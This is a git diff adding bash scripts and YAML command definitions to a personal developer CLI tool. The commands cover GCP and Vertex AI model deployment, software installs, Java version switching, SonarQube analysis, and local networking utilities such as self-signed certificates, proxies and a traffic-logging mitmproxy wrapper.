gcp login + + - name: project + help: Change GCP project + completions: + - $(gcloud projects list | awk 'NR > 1 {print $1}') + args: + - name: project + required: true + help: The GCP project to use + examples: + - dtools gcp project lab + + - name: location + help: Change GCP location + args: + - name: location + required: true + help: The GCP location to use + allowed: + import: src/components/gcp/allowed_locations.yml + examples: + - dtools gcp location us-central1 + + - name: get-project-number + help: Get the GCP project number of the specified project + args: + - name: project_name + required: true + help: The name of the project whose number you wish to fetch + + - import: src/commands/gcp/vertex/vertex_commands.yml + - import: src/commands/gcp/artifacts/artifacts_commands.yml diff --git a/src/commands/gcp/get-project-number.sh b/src/commands/gcp/get-project-number.sh new file mode 100644 index 0000000..dab3b7f --- /dev/null +++ b/src/commands/gcp/get-project-number.sh @@ -0,0 +1,6 @@ +# shellcheck disable=SC2154 +declare project_name="${args[project_name]}" + +validate-or-refresh-gcp-auth + +gcloud projects describe "$project_name" --format="value(projectNumber)" diff --git a/src/commands/gcp/location.sh b/src/commands/gcp/location.sh new file mode 100644 index 0000000..f72ea9b --- /dev/null +++ b/src/commands/gcp/location.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +declare gcp_location="${args[location]}" + +if ( grep "GCP_LOCATION" ~/.bashrc ); then + sed -i "/^GCP_LOCATION=/c\export GCP_LOCATION=$gcp_location" ~/.bashrc +fi + +bash -c "export GCP_LOCATION=$gcp_location; exec bash" diff --git a/src/commands/gcp/login.sh b/src/commands/gcp/login.sh new file mode 100644 index 0000000..ea13917 --- /dev/null +++ b/src/commands/gcp/login.sh @@ -0,0 +1,35 @@ +# shellcheck disable=SC2155 +declare gcp_project="$(get-gcp-project)" +declare gcp_location="$(get-gcp-location)" + +yellow "Refreshing user credentials..." +spinny-start +if ! (gcloud auth login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to log into GCP." +else + spinny-stop + close-gcp-auth-tab + green "User credentials refreshed" +fi + +yellow "Refreshing application default credentials..." +spinny-start +if ! (gcloud auth application-default login > /dev/null 2>&1); then + spinny-stop + red_bold "Unable to configure GCP credentials for applications." +else + spinny-stop + close-gcp-auth-tab + green "GCP application default credentials refreshed" +fi + +if ( grep "GCP_PROJECT" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^GCP_PROJECT=/c\export GCP_PROJECT=$gcp_project" ~/.bashrc +fi + +if ( grep "GCP_LOCATION" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^GCP_LOCATION=/c\export GCP_LOCATION=$gcp_location" ~/.bashrc +fi + +bash -c "export GCP_PROJECT=$gcp_project; export GCP_LOCATION=$gcp_location; exec bash" diff --git a/src/commands/gcp/project.sh b/src/commands/gcp/project.sh new file mode 100644 index 0000000..7bb59f8 --- /dev/null +++ b/src/commands/gcp/project.sh @@ -0,0 +1,9 @@ +# shellcheck disable=SC2154 +declare gcp_project="${args[project]}" + +if ( grep "GCP_PROJECT" ~/.bashrc > /dev/null 2>&1 ); then + sed -i "/^GCP_PROJECT=/c\export GCP_PROJECT=$gcp_project" ~/.bashrc +fi + +gcloud config set project "$gcp_project" +bash -c "export GCP_PROJECT=$gcp_project; exec bash" diff --git a/src/commands/gcp/vertex/deploy-model.sh b/src/commands/gcp/vertex/deploy-model.sh new file mode 100644 index 0000000..99c3118 --- /dev/null +++ b/src/commands/gcp/vertex/deploy-model.sh @@ -0,0 +1,116 @@ +# shellcheck disable=SC2155 +declare gcp_location="$(get-gcp-location)" +declare gcp_project="$(get-gcp-project)" +# shellcheck disable=SC2154 +declare container_image="${args[--container-image]}" +declare container_image_uri="${gcp_location}-docker.pkg.dev/${gcp_project}/${container_image}" +declare container_port="${args[--container-port]}" +declare health_route="${args[--health-route]}" +declare predict_route="${args[--predict-route]}" +declare display_name="${args[--display-name]}" +declare artifact_uri="gs://${gcp_project}/${args[--model-gcs-uri]}" +declare endpoint_name="${args[--endpoint-name]}" +declare machine_type="${args[--machine-type]}" +declare accelerator="${args[--accelerator]}" + +validate-or-refresh-gcp-auth + +get-endpoint-id() { + gcloud ai endpoints list \ + --region "$gcp_location" \ + 2> /dev/null |\ + grep -i "$endpoint_name" |\ + awk '{print $1;}' +} + +endpoint-has-deployed-model() { + [[ $(gcloud ai endpoints describe "$endpoint_id" \ + --region "$gcp_location" \ + --format json \ + 2> /dev/null |\ + jq -r '.deployedModels | length > 0') == "true" ]] +} + +yellow "Uploading model to Vertex model registry..." + +if [[ -z "$artifact_uri" ]]; then + gcloud ai models upload \ + --project "$gcp_project" \ + --region "$gcp_location" \ + --display-name "$display_name" \ + --container-image-uri "$container_image_uri" \ + --container-ports "$container_port" \ + --container-health-route "$health_route" \ + --container-predict-route "$predict_route" +else + gcloud ai models upload \ + --project "$gcp_project" \ + --region "$gcp_location" \ + --display-name "$display_name" \ + --container-image-uri "$container_image_uri" \ + --container-ports "$container_port" \ + --container-health-route "$health_route" \ + --container-predict-route "$predict_route" \ + --artifact-uri "$artifact_uri" +fi + +green "Successfully uploaded model to Vertex model registry" + +new_model_id="$(gcloud ai models list --sort-by ~versionCreateTime --format 'value(name)' --region "$gcp_location" 2> /dev/null | head -1)" + +yellow "New model id: '$new_model_id'" + +if [[ -z $(get-endpoint-id) ]]; then + red_bold "Endpoint with name '$endpoint_name' does not exist." + yellow "Creating new endpoint..." + dataset_name="$(tr '-' '_' <<< "$endpoint_name")" + + gcloud ai endpoints create \ + --display-name "$endpoint_name" \ + --region "$gcp_location" \ + --request-response-logging-rate 1 \ + --request-response-logging-table "bq://${gcp_project}.${dataset_name}.serving_predict" + + green "Successfully created new endpoint with name: '$endpoint_name'" +fi + +endpoint_id="$(get-endpoint-id)" +yellow "Endpoint '$endpoint_name' has id: '$endpoint_id'" + +if endpoint-has-deployed-model; then + old_model_id="$(gcloud ai endpoints describe "$endpoint_id" \ + --region "$gcp_location" \ + --format json \ + 2> /dev/null |\ + jq -r '.deployedModels[0].model' |\ + xargs basename)" + deployed_model_id="$(gcloud ai endpoints describe "$endpoint_id" \ + --region "$gcp_location" \ + --format json \ + 2> /dev/null |\ + jq -r '.deployedModels[0].id')" + red "Undeploying existing model: '$old_model_id' with deployed id: '$deployed_model_id'..." + gcloud ai endpoints undeploy-model "$endpoint_id" \ + --region "$gcp_location" \ + --deployed-model-id "$deployed_model_id" + + green "Successfully undeployed existing model: '$old_model_id'" +fi + +yellow "Deploying new model to endpoint '$endpoint_id'..." +if [[ -z "$accelerator" ]]; then + gcloud ai endpoints deploy-model "$endpoint_id" \ + --region "$gcp_location" \ + --model "$new_model_id" \ + --display-name "$display_name" \ + --machine-type "$machine_type" +else + gcloud ai endpoints deploy-model "$endpoint_id" \ + --region "$gcp_location" \ + --model "$new_model_id" \ + --display-name "$display_name" \ + --machine-type "$machine_type" \ + --accelerator "type=${accelerator},count=1" +fi + +green "Successfully deployed model '$new_model_id' to endpoint '$endpoint_id'" diff --git a/src/commands/gcp/vertex/list-endpoints.sh b/src/commands/gcp/vertex/list-endpoints.sh new file mode 100644 index 0000000..e4bf5f7 --- /dev/null +++ b/src/commands/gcp/vertex/list-endpoints.sh @@ -0,0 +1,12 @@ +# shellcheck disable=SC2155 +declare gcp_location="$(get-gcp-location)" +declare gcp_project="$(get-gcp-project)" + +validate-or-refresh-gcp-auth + +# shellcheck disable=SC2154 +if [[ ${args[--detailed]} == 1 ]]; then + gcloud ai endpoints list --project "$gcp_project" --region "$gcp_location" --format json +else + gcloud ai endpoints list --project "$gcp_project" --region "$gcp_location" --format=json | jq -r '.[].displayName' +fi diff --git a/src/commands/gcp/vertex/predict.sh b/src/commands/gcp/vertex/predict.sh new file mode 100644 index 0000000..c01362a --- /dev/null +++ b/src/commands/gcp/vertex/predict.sh @@ -0,0 +1,30 @@ +# shellcheck disable=SC2155 +declare gcp_location="$(get-gcp-location)" +# shellcheck disable=SC2154 +declare file="${args[--file]}" +declare endpoint_name="${args[--endpoint-name]}" + +validate-or-refresh-gcp-auth + +endpoint_id="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .deployedModels[0].id')" + +if [[ -z $endpoint_id ]]; then + red "Invalid endpoint name specified: '$endpoint_name'" + red "Unable to determine endpoint ID" + exit 1 +fi + +model_uri="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .name')" + +if [[ -z $model_uri ]]; then + red "Unable to determine model URI from given endpoint name: '$endpoint_name' and region: '$gcp_location'" + exit 1 +fi + +bearer="$(gcloud auth print-access-token)" + +curl -X POST \ + -H "Authorization: Bearer $bearer" \ + -H "Content-Type: application/json; charset=utf-8" \ + -d @"${file}" \ + "https://${gcp_location}-aiplatform.googleapis.com/v1/$model_uri:predict" diff --git a/src/commands/gcp/vertex/tail-endpoint-logs.sh b/src/commands/gcp/vertex/tail-endpoint-logs.sh new file mode 100644 index 0000000..3b26720 --- /dev/null +++ b/src/commands/gcp/vertex/tail-endpoint-logs.sh @@ -0,0 +1,17 @@ +# shellcheck disable=SC2155 +declare gcp_location="$(get-gcp-location)" +declare gcp_project="$(get-gcp-project)" +# shellcheck disable=SC2154 +declare endpoint_name="${args[endpoint_name]}" + +validate-or-refresh-gcp-auth + +endpoint_id="$(gcloud ai endpoints list --region "$gcp_location" --format json 2>/dev/null | jq --arg endpoint_name "$endpoint_name" -r '.[] | select(.displayName == $endpoint_name) | .deployedModels[0].id')" + +if [[ -z $endpoint_id ]]; then + red "Invalid endpoint name specified: '$endpoint_name'" + red "Unable to determine endpoint ID" + exit 1 +fi + +gcloud beta logging tail "resource.type=cloud_aiplatform_endpoint AND resource.labels.endpoint_id=$endpoint_id" --project "$gcp_project" diff --git a/src/commands/gcp/vertex/vertex_commands.yml b/src/commands/gcp/vertex/vertex_commands.yml new file mode 100644 index 0000000..6765bce --- /dev/null +++ b/src/commands/gcp/vertex/vertex_commands.yml @@ -0,0 +1,115 @@ +name: vertex +help: Vertex AI commands +group: Vertex +expose: always +dependencies: + gcloud: Install the latest version following the instructions at 'https://docs.cloud.google.com/sdk/docs/install' + jq: Install with 'brew install jq' + +commands: + - name: deploy-model + help: |- + Deploy a model into Vertex AI (assumes only one model is deployed on the given endpoint). + + This will do the following: + - Upload the specified model into the Vertex Model Registry + - Check if an endpoint exists corresponding to the provided name + - If not, it will create an endpoint + - Undeploy any pre-existing models on the endpoint (assumes 1 model per endpoint) + - Deploy the new model to the endpoint + + Always be sure to build the image first and then push it to the corresponding Artifact Registry repo; e.g + 'docker push us-central1-docker.pkg.dev/prod/serving-docker/alex-test:latest' + filters: + - project_and_location_variables_set_with_flags + flags: + - import: src/components/gcp/project_flag.yml + - import: src/components/gcp/location_flag.yml + - long: --display-name + short: -d + arg: display_name + help: Display name of the model. + required: true + - long: --container-image + short: -c + arg: container_image + help: |- + URI of the Model serving container file in the Container Registry (e.g. repository/image:latest). + + You can list repositories with: dtools gcp artifacts list-repositories + You can list images with: dtools gcp artifacts list-images + required: true + - long: --container-port + arg: container_port + help: Container port to receive HTTP requests at + default: '8080' + - long: --health-route + arg: health_route + help: HTTP path to send health checks to inside the container + default: '/isalive' + - long: --predict-route + arg: predict_route + help: HTTP path to send prediction requests to inside the container + default: '/predict' + - long: --model-gcs-uri + arg: model_gcs_uri + help: |- + Path to the directory containing the Model artifact and any of its supporting files. + + If undefined, ensure the model image that is being deployed contains the model JSON within the image. + + Use 'gcloud storage ls gs://' to find the URI of the model artifact you wish to use + - long: --endpoint-name + short: -e + arg: endpoint_name + help: The name of the endpoint to deploy the model to (will create one if it does not already exist) + required: true + - long: --machine-type + short: -m + arg: machine_type + help: The machine type to use for the deployed model (e.g. n1-standard-4) + default: n1-standard-2 + - long: --accelerator + help: The type of accelerator to attach to the machine + arg: accelerator + examples: + - dtools gcp vertex deploy-model --display-name alex-vertex-test --container-image serving-docker/alex-vertex-test:latest -e alex-vertex-test-endpoint + - dtools gcp vertex deploy-model --display-name alex-test --container-image serving-docker/alex-test:latest -e alex-test-endpoint --accelerator nvidia-tesla-t4 + - dtools gcp vertex deploy-model --display-name alex-vertex-test --container-image serving-docker/alex-vertex-test:latest --model-gcs-uri model-training/388781844076/vertex-model-training-pipeline-20250319032739/store-model-in-gcs_1311307013581438976 -e alex-arrhythmia-test-endpoint + + - name: predict + help: Query a Vertex endpoint with a prediction request + flags: + - import: src/components/gcp/location_flag.yml + - long: --file + short: -f + arg: file + help: The JSON file to query the model with + completions: + - + - long: --endpoint-name + short: -e + arg: endpoint_name + help: The name of the endpoint to query + + - name: list-endpoints + help: List all Vertex endpoints for the specified project and region + filters: + - project_and_location_variables_set_with_flags + flags: + - import: src/components/gcp/project_flag.yml + - import: src/components/gcp/location_flag.yml + - long: --detailed + help: Output the gcloud query with full details in JSON format + + - name: tail-endpoint-logs + help: Tail the logs for the given endpoint + args: + - name: endpoint_name + required: true + help: The name of the endpoint whose logs you wish to tail + filters: + - project_and_location_variables_set_with_flags + flags: + - import: src/components/gcp/project_flag.yml + - import: src/components/gcp/location_flag.yml diff --git a/src/commands/generate-password.sh b/src/commands/generate-password.sh new file mode 100644 index 0000000..6f75dea --- /dev/null +++ b/src/commands/generate-password.sh @@ -0,0 +1,6 @@ +# shellcheck disable=SC2154 +if [[ "${args[--copy-to-clipboard]}" == 1 ]]; then + openssl rand -base64 32 | tr -d '\n' | xclip -sel clip +else + openssl rand -base64 32 +fi diff --git a/src/commands/git/git_commands.yml b/src/commands/git/git_commands.yml new file mode 100644 index 0000000..ddbb296 --- /dev/null +++ b/src/commands/git/git_commands.yml @@ -0,0 +1,14 @@ +name: git +help: Git commands +group: Git +expose: always + +commands: + - name: search-history + help: Search all previous tracked files for a given string to see all changes involving the specified string + args: + - name: search-string + help: The string to search all git history for + required: true + examples: + - dtools git search-history 'energy_required' diff --git a/src/commands/git/search-history.sh b/src/commands/git/search-history.sh new file mode 100644 index 0000000..7d41767 --- /dev/null +++ b/src/commands/git/search-history.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +declare search_string="${args[search-string]}" + +git rev-list --all | ( + while read -r revision; do + git grep -F "$search_string" "$revision" + done + ) diff --git a/src/commands/install/ansible.sh b/src/commands/install/ansible.sh new file mode 100644 index 0000000..01c7264 --- /dev/null +++ b/src/commands/install/ansible.sh @@ -0,0 +1,3 @@ +sudo apt-get update +sudo apt-get install python3.8 python3-pip +pip3 install --user ansible diff --git a/src/commands/install/docker.sh b/src/commands/install/docker.sh new file mode 100644 index 0000000..508ea62 --- /dev/null +++ b/src/commands/install/docker.sh @@ -0,0 +1,25 @@ +blue_bold "Installing prerequisites..." +yes | sudo add-apt-repository universe +yes | sudo add-apt-repository multiverse +sudo apt-get update +sudo apt-get install ca-certificates curl gnupg lsb-release apt-transport-https + +blue_bold "Checking for the /etc/apt/keyrings directory..." +[[ -d /etc/apt/keyrings ]] || sudo mkdir /etc/apt/keyrings + +blue_bold "Installing the Docker GPG key..." +sudo install -m 0755 -d /etc/apt/keyrings +curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg +sudo chmod a+r /etc/apt/keyrings/docker.gpg + +blue_bold "Setting up the Docker APT repository..." +echo \ + "deb [arch=\"$(dpkg --print-architecture)\" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ + \"$(. /etc/os-release && echo $VERSION_CODENAME)\" stable" | \ + sudo tee /etc/apt/sources.list.d/docker.list > /dev/null +sudo apt-get update + +blue_bold "Installing Docker..." +sudo apt-get install containerd.io docker-ce docker-ce-cli docker-compose-plugin docker-buildx-plugin + +green_bold "Successfully installed Docker" diff --git a/src/commands/install/install_commands.yml b/src/commands/install/install_commands.yml new file mode 100644 index 0000000..da110e5 --- /dev/null +++ b/src/commands/install/install_commands.yml @@ -0,0 +1,18 @@ +name: install +help: Install commands +group: Install +expose: always + +commands: + - name: docker + help: Install Docker (Debian-based systems only) + filters: + - debian_based_os + + - name: ansible + help: Install Ansible + + - name: java + help: Install LTS OpenJDK's 8, 11, 17, and 21 (Debian-based systems only) + filters: + - debian_based_os diff --git a/src/commands/install/java.sh b/src/commands/install/java.sh new file mode 100644 index 0000000..12d6cde --- /dev/null +++ b/src/commands/install/java.sh @@ -0,0 +1,3 @@ +sudo add-apt-repository ppa:openjdk-r/ppa +sudo apt-get update +sudo apt-get install openjdk-8-jdk openjdk-11-jdk openjdk-17-jdk openjdk-21-jdk -y \ No newline at end of file diff --git a/src/commands/java/analyze-with-sonar.sh b/src/commands/java/analyze-with-sonar.sh new file mode 100644 index 0000000..f1cf31b --- /dev/null +++ b/src/commands/java/analyze-with-sonar.sh @@ -0,0 +1,20 @@ +# shellcheck disable=SC2154 +declare sonar_url="${args[--sonar-url]}" +declare sonar_login="${args[--sonar-login]}" +declare sonar_project_key="${args[--sonar-project-key]}" + +if [[ -f pom.xml ]]; then + mvn sonar:sonar \ + -Dsonar.projectKey="$sonar_project_key" \ + -Dsonar.host.url="$sonar_url" \ + -Dsonar.login="sonar_login" +elif [[ -f settings.gradle ]]; then + if (grep -q plugins build.gradle); then + sed '/plugins/a id "org.sonarqube" version "5.0.0.4638"' build.gradle + fi + + ./gradlew sonar \ + -Dsonar.projectKey="$sonar_project_key" \ + -Dsonar.host.url="$sonar_url" \ + -Dsonar.login="$sonar_login" +fi diff --git a/src/commands/java/java_commands.yml b/src/commands/java/java_commands.yml new file mode 100644 index 0000000..7d156dc --- /dev/null +++ b/src/commands/java/java_commands.yml @@ -0,0 +1,45 @@ +name: java +help: Java commands +group: Java +expose: always +dependencies: + java: Install with 'dtools install java' + +commands: + - name: set-version + help: Sets the system-wide Java version + + args: + - name: version + required: true + help: The Java version to use + allowed: + - '8' + - '11' + - '17' + - '21' + + examples: + - dtools java set-version 17 + + - name: analyze-with-sonar + help: Perform static code analysis for the current directory's Java project with SonarQube + filters: + - maven_or_gradle_installed + flags: + - long: --sonar-url + short: -u + arg: sonar_url + help: The SonarQube server URL to use for analysis + required: true + - long: --sonar-login + short: -l + arg: sonar_login + help: The SonarQube login token to use for analysis + required: true + - long: --sonar-project-key + short: -k + arg: sonar_project_key + help: The SonarQube project key to use for analysis + required: true + diff --git a/src/commands/java/set-version.sh b/src/commands/java/set-version.sh new file mode 100644 index 0000000..831fdfb --- /dev/null +++ b/src/commands/java/set-version.sh @@ -0,0 +1,44 @@ +sudo rm /usr/bin/java +sudo rm /usr/bin/javac +sudo rm /usr/bin/javadoc +sudo rm /usr/bin/javah +sudo rm /usr/bin/javap + +declare basePath=/usr/lib/jvm +# shellcheck disable=SC2154 +declare version="${args[version]}" + +case $version in + 8) + declare jdk8Path="$basePath/java-8-openjdk-amd64/bin" + sudo ln -s "$jdk8Path/java" /usr/bin/java + sudo ln -s "$jdk8Path/javac" /usr/bin/javac + sudo ln -s "$jdk8Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk8Path/javah" /usr/bin/javah + sudo ln -s "$jdk8Path/javap" /usr/bin/javap + ;; + 11) + declare jdk11Path="$basePath/java-11-openjdk-amd64/bin" + sudo ln -s "$jdk11Path/java" /usr/bin/java + sudo ln -s "$jdk11Path/javac" /usr/bin/javac + sudo ln -s "$jdk11Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk11Path/javah" /usr/bin/javah + sudo ln -s "$jdk11Path/javap" /usr/bin/javap + ;; + 17) + declare jdk17Path="$basePath/java-17-openjdk-amd64/bin" + sudo ln -s "$jdk17Path/java" /usr/bin/java + sudo ln -s "$jdk17Path/javac" /usr/bin/javac + sudo ln -s "$jdk17Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk17Path/javah" /usr/bin/javah + sudo ln -s "$jdk17Path/javap" /usr/bin/javap + ;; + 21) + declare jdk21Path="$basePath/java-21-openjdk-amd64/bin" + sudo ln -s "$jdk21Path/java" /usr/bin/java + sudo ln -s "$jdk21Path/javac" /usr/bin/javac + sudo ln -s "$jdk21Path/javadoc" /usr/bin/javadoc + sudo ln -s "$jdk21Path/javah" /usr/bin/javah + sudo ln -s "$jdk21Path/javap" /usr/bin/javap + ;; +esac diff --git a/src/commands/network/archive-website.sh b/src/commands/network/archive-website.sh new file mode 100644 index 0000000..705cabe --- /dev/null +++ b/src/commands/network/archive-website.sh @@ -0,0 +1,35 @@ +# shellcheck disable=SC2154 +declare url="${args[--url]}" +# shellcheck disable=SC2154 +declare name="${args[--name]}" +# shellcheck disable=SC2154 +declare output="${args[--output]}" +# shellcheck disable=SC2154 +declare limit="${args[--limit]}" +# shellcheck disable=SC2154 +declare behaviors="${args[--behaviors]}" +# shellcheck disable=SC2154 +declare exclude="${args[--exclude]}" +# shellcheck disable=SC2154 +declare workers="${args[--workers]}" +# shellcheck disable=SC2154 +declare wait_until="${args[--wait-until]}" +# shellcheck disable=SC2154 +declare keep="${args[--keep]}" +# shellcheck disable=SC2154 +declare shm_size="${args[--shm-size]}" + +docker run \ + --rm \ + --shm-size="$shm_size" \ + -v "$output":/output \ + ghcr.io/openzim/zimit zimit \ + --url "$url" \ + --name "$name" \ + --output "$output" \ + "${limit:+--limit "$limit"}" \ + --behaviors "$behaviors" \ + "${exclude:+--exclude "$exclude"}" \ + "${workers:+--workers "$workers"}" \ + --wait-until "$wait_until" \ + "${keep:+--keep}" diff --git a/src/commands/network/generate-self-signed-certificate.sh b/src/commands/network/generate-self-signed-certificate.sh new file mode 100644 index 0000000..e227cbb --- /dev/null +++ b/src/commands/network/generate-self-signed-certificate.sh @@ -0,0 +1,17 @@ +# shellcheck disable=SC2154 +declare output="${args[--output]}" +# shellcheck disable=SC2154 +declare key_output="${args[--key-output]}" +# shellcheck disable=SC2154 +declare pfx_output="${args[--pfx-output]}" +# shellcheck disable=SC2154 +declare hostname="${args[--hostname]}" + +sudo openssl req -x509 -newkey rsa:2048 -days 365 -nodes -out "$output" -keyout "$key_output" -subj "/C=US/ST=Colorado/L=Denver/O=ClarkeCloud/OU=IT/CN=$hostname" +sudo chmod 600 "$output" +sudo chmod 600 "$key_output" + +if [[ -n $pfx_output ]]; then + sudo openssl pkcs12 -export -out "$pfx_output" -inkey "$key_output" -in "$output" + sudo chmod 600 "$pfx_output" +fi diff --git a/src/commands/network/https-proxy.sh b/src/commands/network/https-proxy.sh new file mode 100644 index 0000000..969298a --- /dev/null +++ b/src/commands/network/https-proxy.sh @@ -0,0 +1,17 @@ +# shellcheck disable=SC2154 +declare https_port="${args[--https-port]}" +# shellcheck disable=SC2154 +declare proxy_target_host="${args[--proxy-target-host]}" +# shellcheck disable=SC2154 +declare proxy_target_port="${args[--proxy-target-port]}" +# shellcheck disable=SC2154 +declare ssl_certificate="${args[--ssl-certificate]}" +declare dtools_cert=/etc/devtools/dtools.pem + +if [[ $ssl_certificate = "$dtools_cert" && ! -f $dtools_cert ]]; then + [[ -d /etc/devtools ]] || sudo mkdir /etc/devtools + sudo openssl req -new -x509 -days 365 -nodes -out "$dtool_cert" -keyout "$dtools_cert" -subj "/C=US/ST=Colorado/L=Denver/O=ClarkeCloud/OU=IT/CN=localhost" + sudo chmod 600 "$dtools_cert" +fi + +sudo socat openssl-listen:"$https_port",reuseaddr,fork,cert="$ssl_certificate",verify=0 tcp:"$proxy_target_host":"$proxy_target_port" diff --git a/src/commands/network/mermaid-api.sh b/src/commands/network/mermaid-api.sh new file mode 100644 index 0000000..fbfb8d0 --- /dev/null +++ b/src/commands/network/mermaid-api.sh @@ -0,0 +1,4 @@ +# shellcheck disable=SC2154 +declare port="${args[port]}" + +docker run --rm -it --name mermaid-server -p "$port:80" tomwright/mermaid-server:latest diff --git a/src/commands/network/mitm-proxy.sh b/src/commands/network/mitm-proxy.sh new file mode 100644 index 0000000..5f5cffd --- /dev/null +++ b/src/commands/network/mitm-proxy.sh @@ -0,0 +1,25 @@ +# shellcheck disable=SC2154 +declare domain="${args[domain]}" +declare port="${args[--port]}" +declare script_file="${args[--script-file]}" + +if [[ -z $script_file ]]; then + script_file="$(mktemp /dev/shm/tmp.XXXXXX)" + trap 'rm -f $script_file' EXIT + + cat <<-EOF >> "$script_file" + from mitmproxy import http + import re + + def request(flow: http.HTTPFlow) -> None: + match = re.search(r'$domain', flow.request.host) + if match is not None: + print(f"Request to {flow.request.host}:") + print(flow.request.method, flow.request.url) + print("Headers:", flow.request.headers) + print("Body:", flow.request.get_text()) + # Requests will be automatically forwarded unless explicitly modified or killed. + EOF +fi + +mitmproxy --listen-port "$port" -s "$script_file" diff --git a/src/commands/network/network_commands.yml b/src/commands/network/network_commands.yml new file mode 100644 index 0000000..2f780bd --- /dev/null +++ b/src/commands/network/network_commands.yml @@ -0,0 +1,290 @@ +name: network +help: Network commands +group: Network +expose: always + +commands: + - name: generate-self-signed-certificate + help: Generate a self-signed HTTPS certificate for use in testing + dependencies: + openssl: Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3' + flags: + - long: --output + help: The file to write the certificate to + arg: output + required: true + completions: + - + - long: --key-output + help: The output file to write the key to + arg: key_output + required: true + completions: + - + - long: --hostname + help: The hostname that the certificate should be created to work with + default: localhost + arg: hostname + - long: --pfx-output + help: Output a pfx file as well + arg: pfx_output + completions: + - + default: 'false' + examples: + - dtools network generate-self-signed-certificate --output /etc/dtools/test.csr --key-output /etc/dtools/test.key + - |- + # Both in one file + dtools network generate-self-signed-certificate --output /etc/dtools/test.pem --key-output /etc/dtools/test.pem + - |- + # Create a pfx file for Radarr + dtools network generate-self-signed-certificate --output /etc/dtools/test.crt --key-output /etc/dtools/test.key --hostname 192.168.0.105 --output-pfx /etc/dtools/test.pfx + + - name: https-proxy + help: Proxy HTTPS traffic + dependencies: + socat: Install with 'brew install socat' + openssl: Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3' + flags: + - long: --https-port + help: The https port to proxy + default: '443' + arg: https_port + + - long: --proxy-target-host + help: The target host to redirect all https traffic to + default: localhost + arg: proxy_target_host + + - long: --proxy-target-port + help: The port on the target host to send all https traffic to + required: true + arg: proxy_target_port + + - long: --ssl-certificate + help: The SSL certificate to use + default: /etc/devtools/dtools.pem + arg: ssl_certificate + completions: + - + + - name: tcp-proxy + help: Proxy all TCP traffic with simpleproxy (Debian-based systems only) + filters: + - debian_based_os + dependencies: + simpleproxy: Install with 'sudo apt install simpleproxy' + flags: + - long: --tcp-host + help: The host to listen on + default: 0.0.0.0 + arg: tcp_host + + - long: --tcp-port + help: The TCP port to listen on + required: true + arg: tcp_port + + - long: --proxy-target-host + help: The target host to redirect all TCP traffic to + default: localhost + arg: proxy_target_host + + - long: --proxy-target-port + help: The target port on the target host to redirect all TCP traffic to + required: true + arg: proxy_target_port + examples: + - dtools network tcp-proxy --tcp-host 192.168.0.253 --tcp-port 5432 --proxy-target-host localhost --proxy-target-port 5433 + + - name: proxy-with-nginx + help: |- + Proxy all HTTP and HTTPS requests locally to a remote server using Nginx. + This is useful when trying to proxy a remote HTTPS API that requires a specific certificate or hostname. + dependencies: + nginx: Install with 'brew install nginx' + flags: + - long: --tcp-port + help: The TCP port to listen on + arg: tcp_port + default: '8080' + + - long: --proxy-target-host + help: The target host to redirect all traffic to + arg: proxy_target_host + required: true + + - long: --proxy-target-protocol + help: The protocol on the host that all traffic is redirected to + arg: proxy_target_protocol + default: http + allowed: + - http + - https + examples: + - |- + # Query with curl 'http://localhost:8081/api/Token', for example + dtools network proxy-with-nginx --tcp-port 8081 --proxy-target-host some.api.com --proxy-target-protocol https + + - name: mitm-proxy + help: Start a Man-in-the-Middle (MITM) proxy to intercept and log all requests + dependencies: + mitmproxy: Install with 'brew install --cask mitmproxy' + args: + - name: domain + help: The domain to intercept requests for (regex) + required: true + flags: + - long: --port + arg: port + help: The local port to run the proxy on + default: '8080' + - long: --script-file + arg: script_file + help: The script file to run on all intercepted requests (defaults to simply logging out method, url, headers, and body) + completions: + - + - + validate: file_exists + examples: + - |- + # Run the proxy on port 8080 for all *google*.com domains + dtools network mitm-proxy .*google.*\.com + # Run a script/service/etc. that will be proxied by MITM proxy + export HTTP_PROXY=http://localhost:8080 + export HTTPS_PROXY=https://localhost:8080 + export REQUESTS_CA_BUNDLE=~/.mitmproxy/mitmproxy-ca-cert.pem + python3 vertex_model_deployment_script.py + + - name: archive-website + help: Download an archive an entire website for offline viewing via Kiwix and .zim formats using OpenZim's zimit + dependencies: + docker: Install with 'dtools install docker' + flags: + - long: --shm-size + help: The size of /dev/shm to allow the container to use + arg: shm_size + default: 2gb + - long: --url + arg: url + help: The URL to be crawled + required: true + - long: --name + arg: name + help: The name of the ZIM file + required: true + - long: --output + arg: output_directory + default: '/output' + completions: + - + - long: --limit + help: Limit capture to at most URLs + arg: limit + - long: --behaviors + help: >- + Control which browsertrix behaviors are ran + (defaults to 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is possible to automatically scroll the pages and fetch resources which are lazy loaded) + arg: behaviors + default: 'autoplay,autofetch,siteSpecific' + - long: --exclude + arg: exclude_regex + help: >- + Skip URLs that mmatch the regex from crawling. Can be specified multiple times. + An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)"', where URLs that contain either '?q=' or + 'signup-landing?' or '?cid=' will be excluded + - long: --workers + arg: workers + help: Number of crawl workers to run in parallel + - long: --wait-until + arg: wait_until + help: >- + Puppeteer setting for how long to wait for page to load. See https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options + The default is 'load', but for static sites, '--wait-until domcontentloaded' may be used to speed up the crawl (to avoid waiting for ads to load for example). + default: 'load' + - long: --keep + help: If set, keep the WARC files in a temp directory inside the output directory + examples: + - dtools network archive-website --url URL --name myzimfile + - |- + # Exclude all video files + dtools network archive-website --url URL --name myzimfile --exclude 